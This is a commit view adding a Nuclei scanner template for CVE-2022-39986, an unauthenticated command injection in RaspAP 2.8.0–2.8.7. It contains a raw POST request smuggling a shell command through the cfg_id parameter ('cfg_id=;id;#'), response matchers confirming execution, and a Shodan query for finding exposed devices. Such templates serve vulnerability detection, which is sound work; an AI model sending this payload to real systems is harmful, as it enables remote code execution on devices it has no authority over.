Merge pull request #8003 from projectdiscovery/CVE-2022-39986
Create CVE-2022-39986.yaml (RaspAP 2.8.7 - RCE)patch-1
commit
fc81c11a0f
|
@ -0,0 +1,47 @@
|
|||
id: CVE-2022-39986
|
||||
|
||||
info:
|
||||
name: RaspAP 2.8.7 - Unauthenticated Command Injection
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
description: |
|
||||
A Command injection vulnerability in RaspAP 2.8.0 thru 2.8.7 allows unauthenticated attackers to execute arbitrary commands via the cfg_id parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
|
||||
reference:
|
||||
- https://packetstormsecurity.com/files/174190/RaspAP-2.8.7-Unauthenticated-Command-Injection.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-39986
|
||||
- https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-39986
|
||||
cwe-id: CWE-77
|
||||
metadata:
|
||||
max-request: 1
|
||||
shodan-query: http.favicon.hash:-1465760059
|
||||
verified: true
|
||||
tags: cve,cve2020,raspap,rce
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
cfg_id=;id;#
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)"
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue